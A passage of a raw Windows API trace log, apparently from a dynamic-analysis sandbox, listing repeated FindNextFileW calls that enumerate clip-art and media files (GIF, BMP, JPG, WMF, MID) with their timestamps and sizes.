ftCreationTime.dwLowDateTime=0x1027b233, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1027b233, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8795, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02749G.GIF", cAlternateFileName="")) returned 1 [0128.799] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02749U.BMP", cAlternateFileName="")) returned 1 [0128.799] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1025500d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1025500d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02750G.GIF", cAlternateFileName="")) returned 1 [0128.800] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1027b233, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1027b233, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02750U.BMP", cAlternateFileName="")) returned 1 [0128.800] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc382, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02752G.GIF", cAlternateFileName="")) returned 1 [0128.800] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102a14ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02752U.BMP", cAlternateFileName="")) returned 1 [0128.800] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102a14ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02753U.BMP", cAlternateFileName="")) returned 1 [0128.800] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102a14ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02754U.BMP", cAlternateFileName="")) returned 1 [0128.800] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102a14ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02755U.BMP", cAlternateFileName="")) returned 1 [0128.801] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103f89f0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103f89f0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103f89f0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02756U.BMP", cAlternateFileName="")) returned 1 [0128.801] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1027b233, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1027b233, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02757U.BMP", cAlternateFileName="")) returned 1 [0128.801] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x307f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02758U.BMP", cAlternateFileName="")) returned 1 [0128.801] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102a14ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02759J.JPG", cAlternateFileName="")) returned 1 [0128.801] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103f89f0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103f89f0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103f89f0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc5d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02810J.JPG", cAlternateFileName="")) returned 1 [0128.801] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1027b233, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1027b233, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf438, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02829J.JPG", cAlternateFileName="")) returned 1 [0128.801] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02845G.GIF", cAlternateFileName="")) returned 1 [0128.802] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02897J.JPG", cAlternateFileName="")) returned 1 [0128.802] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3c76, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03011U.BMP", cAlternateFileName="")) returned 1 [0128.802] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03012U.BMP", cAlternateFileName="")) returned 1 [0128.802] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03014_.GIF", cAlternateFileName="")) returned 1 [0128.802] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78af, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03041I.JPG", cAlternateFileName="")) returned 1 [0128.802] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102a14ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7450, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03143I.JPG", cAlternateFileName="")) returned 1 [0128.802] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa343, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03205I.JPG", cAlternateFileName="")) returned 1 [0128.803] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa445, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03224I.JPG", cAlternateFileName="")) returned 1 [0128.803] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03379I.JPG", cAlternateFileName="")) returned 1 [0128.803] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x321f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03380I.JPG", cAlternateFileName="")) returned 1 [0128.803] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbdae, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03425I.JPG", cAlternateFileName="")) returned 1 [0128.803] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xef6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRRT.WMF", cAlternateFileName="")) returned 1 [0128.803] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7aac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRRTINST.WMF", cAlternateFileName="")) returned 1 [0128.803] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRETRO.WMF", cAlternateFileName="")) returned 1 [0128.804] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSSKETLG.WMF", cAlternateFileName="")) returned 1 [0128.804] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSSKETSM.WMF", cAlternateFileName="")) returned 1 [0128.804] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb12, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWAVY.WMF", cAlternateFileName="")) returned 1 [0128.804] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="RE00006_.WMF", cAlternateFileName="")) returned 1 [0128.804] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECYCLE.WMF", cAlternateFileName="")) returned 1 [0128.804] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x175f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROAD_01.MID", cAlternateFileName="")) returned 1 [0128.804] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x278a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAFRI_01.MID", cAlternateFileName="")) returned 1 [0128.805] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHOL_02.MID", cAlternateFileName="")) returned 1 [0128.805] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOW_01.MID", cAlternateFileName="")) returned 1 [0128.805] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00256_.WMF", cAlternateFileName="")) returned 1 [0128.805] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00260_.WMF", cAlternateFileName="")) returned 1 [0128.805] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00268_.WMF", cAlternateFileName="")) returned 1 [0128.805] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00286_.WMF", cAlternateFileName="")) returned 1 [0128.805] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1268, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00298_.WMF", cAlternateFileName="")) returned 1 [0128.806] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00308_.WMF", cAlternateFileName="")) returned 1 [0128.806] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00345_.WMF", cAlternateFileName="")) returned 1 [0128.806] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00452_.WMF", cAlternateFileName="")) returned 1 [0128.806] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, 